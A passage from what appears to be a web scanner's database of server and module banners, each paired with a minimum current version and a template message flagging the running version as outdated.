at least @CURRENT_VER)" "600916","CJServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600917","Devshed/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600918","mod_bla_bla_bla/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600919","G4200.GSI/","2.22.0131","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600920","KONICHIWA/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600921","CatWalk/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600922","CERNhttpd/","3.0.A(Unix)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600923","mod_transform/","0.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600924","mod_auth_ianus_sso/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600925","LANDeskManagementAgent/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600926","WebKnight/","2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600927","AOLServer/","4.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600928","SE/","0.5.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600929","Sun-Java-System-Web-Proxy-Server/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600931","iSpit/","1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600932","Phusion_Passenger/","6.0.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600933","Sun Java System Application Server ","9.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600934","tinyproxy/","1.6.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600935","ntop/","3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600936","Mono.WebServer2/","6.4.0.1121","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600937","mod_log_online/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600938","mod_apreq2-20050712/","2.1.3-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600939","JSF/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600940","HTTPGW/","1.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600941","AAISP/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600942","AppleIDiskServer-","1G301009","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600943","Apusic/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600944","cheyenne/","2.2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600945","GlobalSCAPE-EFTServer/","6.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600946","GlobalSCAPE-SecureServer/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600947","InteSoft-ASPAccelerator/","3.7.5000.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600948","iPyramid.system2/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600949","MailEnable-HTTP/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600950","mod_copstng/","2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600951","mod_ddmh/","0.0.16","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600952","mod_defer/","0.1.lk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600953","mod_dp20/","0.99.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600954","mod_gnutls/","0.8.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600955","mod_lisp2/","1.3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600956","mod_top/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600957","mod_vhost_online/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600958","ModemNV3/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600959","Simple-Server/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600960","TinyHTTPProxy/","0.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600962","WebMail/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600963","WWW-KODEKS/","4.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600964","YTS/","1.20.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600965","OpenCms/","10.5.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600966","Mbedthis-AppWeb/","2.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600967","WebProxy/","5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600968","MicrosoftIIS/",".6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600969","Cherokee/","1.2.104","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600970","debut/","1.08","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600971","DnionOS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600972","FAV-WebSRV/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600973","gorgona/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600974","HASPLM/","13.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600975","IntotoHttpServer//","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600976","ISS/","7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600977","LotusExpeditorWebContainer/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600978","mod_fcgid/","2.3.10-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600979","mod_scgi_pubsub/","1.11-pubsub","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600980","mod_vhs/","1.0.32","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600981","PowerBoutique/","2.2.3/10.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600982","RemotelyAnywhere/","8.0.668","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600983","SERMEPAServer/","0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600984","TongWeb-Director/","4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600985","uServ/","1.5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600986","AdventAPAuthS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600987","CPLIMS/","3.0.8.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600988","HDSHi-TrackServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600989","JuniperNetworksNitroCache/v","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600990","MochiWeb/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600991","SWS/","3.10.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600992","bit_asic/","3.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600993","ASERVER/","1.0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600994","BarracudaHTTP2.0/","2.2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600995","HZV/","2009","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600996","HintSoftWS/","1.0.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600998","LiveWorld/","cc_2_048","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600999","NIServiceLocator/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601000","PowerHomeWebserver/","2.1b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601001","Seminole/","2.64","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601002","Serv-U/","11.3.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601003","SiemensGigaset-Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601004","TWebAP/","2.1.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601005","TornadoServer/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601006","W3MFC/","1.68","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601007","WebROaR-","0.3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601008","WingFTPServer/","3.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601009","afts/","0.9.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601010","corehttp-","0.5.3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601011","dhttpd/","1.02a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601012","gSOAP/","2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601013","mod_apreq2-20051231/","2.6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601014","mod_flog/","0.4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601015","mod_hcgi/","0.9.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601016","mod_musicindex/","1.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601017","mod_ort/","1.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601018","mod_qos_control/","7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601020","sw-cp-server/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601021","Oracle-iPlanet-Web-Server/","7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601022","CVOS/","3.9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601023","Zeus/","6_0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601024","mod_lo/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601025","mod_ruid2/","0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601026","mod_cluster/","1.3.12.Final","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601027","mod_aspdotnet/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601028","mod_antiloris/","0.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601029","PRTG/","9.1.3.1792","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601030","DMCRUIS/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601031","Easy-WebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601032","EdgePrism/","4.0.10.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601033","FlashCom/","3.5.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601034","sqlmap/","1.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601035","IOSFirewallHTTP/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601036","IPG/","7000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601037","KWS/","2009","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601038","KWS2009/","12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601039","junction/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601040","LITBWS/","1.0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601041","Beacon/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601042","Asterisk/","1.8.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601043","BinarySEC/","3.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601044","CentileEmbeddedHTTPSdserver/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601046","cPNginx.Co/","0.8.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601047","Dahlia/","1.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601048","DataONTAP/","7.3.2P7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601049","Formilux/","0.1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601050","gunicorn/","0.14.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601051","HBS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601052","HOJ-WebServer/","0.2.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601053","HTTPProxy/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601054","ipOS/","7.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601055","IQhttpD/","1.007oct2007","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601056","JavaPseudoHttpd/","0.4.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601057","LiveCache/","2.4a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601058","LuCId-HTTPd/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601059","m4vh/","1.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601060","mini-http/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601061","nCore/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601062","NetworkActiv-Web-Server/","3.5.16","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601063","nginxvta/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601064","Noelios-Restlet-Engine/","1.0rc3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601065","OwilAppserv/","1.30","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601066","PHP5/","5.6.33","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). PHP 5.5.18, 5.4.34 and 5.3.29 are also current." "601067","POSIXDLNADOC/","1.50UPnP/1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601068","qjy168/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601069","Rocket1.0.6aPython/","2.6.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601070","SAPNetWeaverApplicationServer/","ABAP701","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601072","TembriaWebServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601073","TongWebApplicationServer/","4.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601074","TUNIX-httpscreen/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601075","TwistedWeb/","11.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601076","uhttpd/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601077","UltiDevCassini/","2.1.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601078","WebMod/","0.48","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601079","xrl-thttpd/","2.25b08jan2011","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601080","PanWebServer/","2.4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601081","mod_put/","2.0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601082","mod_qos/","11.70","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601083","ScriptLogic.Webserver/","8.0.0.440","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601084","Phusion Passenger/","4.0.53","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601085","Zope/","(Zope/2.13.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601086","DMRND/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601087","HelixMobileServer/","14.3.0.268","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601088","JoostNRG/","0.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601089","KDH/","6300.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601090","mod_cntr/","2.5.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601091","mod_nss/","2.4.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601092","mod_spy/","1.3.24","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601093","Mundu/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601094","OmnitureDC/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601095","PPEngine/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601096","SouthRiver/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601097","Sun-ILOM-Web-Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601098","uc-httpd/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601099","ymweb/","1.5.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601100","ZhihuServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601101","GlassFish Server Open Source Edition ","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601102","JPMC","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601103","Rehwork Webserver ","v7.3b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601104","TUNHS ","v.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601105","TVP Portal ","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601106","Viajeros2-","ECFE4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601107","Xtransform-","0.1.1-beta","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601108","tws","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601109","IWS/","2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601110","Moo/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601111","mod_apreq2-20090110/","2.8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601112","mod_fastcgisa/","2.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601113","LMLmod_ssl/","2.8.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601114","37wan/","9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601115","3fe/","2.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601116","ATS/","3.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601117","AderleeWebPortal/","7.0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601118","ArcWS/","4.0.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601119","AtyponWS/","7.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601120","BSWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601121","BWM/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601122","Become/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601123","BlueDragonServer/","7.1.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601124","CHINACACHE/","CCN-BJ-3-57J","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601125","CPC/","2.2.17","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601126","CWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601127","ClaraPXWebv2.1/","FMAK","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601128","CloobFramework/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601129","Cnaws/","1.0.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601130","ComsenzWS/","1.0.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601131","DDWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601132","DHNWS/","2.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601133","DME/","2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601134","DMS/","1.0.42","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601135","DZSERVER/","0.1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601136","DayServletEngine/","4.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601137","Dict/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601138","FWS/","7.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601139","FlightAware/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601140","FreeFind/","8.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601141","FriendFeedServer/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601142","GNWS/","0.7.42","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601143","GWS-GRFE/","0.50","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601144","Geobytes-GeoSelect/","3.0.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601145","Haaretz/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601146","HavenServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601147","IAGR/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601148","IBM_HTTP_SERVER/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601149","Inyoka/","rev-5723","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601150","JWS/","2010","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601151","Jrun/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601152","KA/","0.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601153","KYOWS/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601154","Kerio_WebSTAR/","5.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601156","LOVE/","4_3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601157","Lucy-HTTPd/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601158","MII-WSD/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601159","MWS/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601160","Meishi/","1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601161","MobileAware-MF/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601164","NWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601165","OKWS/","3.1.4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601166","Ocamlnet/","2.2.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601167","OmnitureAWS/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601168","On-DemandRouter/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601169","PEARLWebshop/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601170","PPS/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601171","PhobyxCluster/","0.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601172","PipeBoost/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601173","Pizza/","4cheese","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601174","ROTOR/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601175","RWS/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601176","RapidbazLive/","0.0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601177","RapidbazLiveFW/","0.07","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601178","Rediff/","2.0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601179","Safe3WAF/","6.4.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601180","IBM WebSphere sMash/","1.1.1.6.141217","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601181","SmugMug/","0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601182","Snowball/","5.2a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601184","TinyURL/","1.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601185","UPWS/","9.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601186","USF-11/","155","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601187","UWS/","0.17","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601188","UltraBrutalServer/","7.6112","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601189","VXS/","3.38","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601191","W3TotalCache/","0.9.1.4b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601192","WebGUI/","7.4.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601193","WebMatrixiDCHTTPServer/","8.0.53","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601194","YEEPAY-WBS/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601195","YJSWS/","0.8.53","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601196","YLS/","0.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601197","YServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601198","YWS/","2010","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601199","ZSWS/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601200","ZendCore/","2.5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601201","ZendServer/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601202","alabout/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601203","aliBeacon/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601204","barista/","3.3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601205","ddspn/","0.8.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601206","emuch/","2010","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601207","ezot/","3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601208","follow5/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601209","gevent/","0.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601210","iPad/","8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601211","ibibo-WS/","2.2.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601212","iptoXGmbHHPC5/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601213","k!/","45.8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601214","kzserver/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601215","magic_ponies/","2.718","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601216","mcdn/","1.alpha","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601217","mod_AliCookie/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601218","mod_chxj/","0.12.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601219","mod_cinemark/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601220","mod_defensible/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601221","mod_evasive/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601223","mod_onsint/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601224","mod_ossl/","10.1.3.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601225","mod_rsp20/","rsp_plugins_v15.08-07-29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601226","mod_security2/","2.9.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601227","mod_ucam_webauth/","2.0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "601228","mru_xml/","0.471","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" 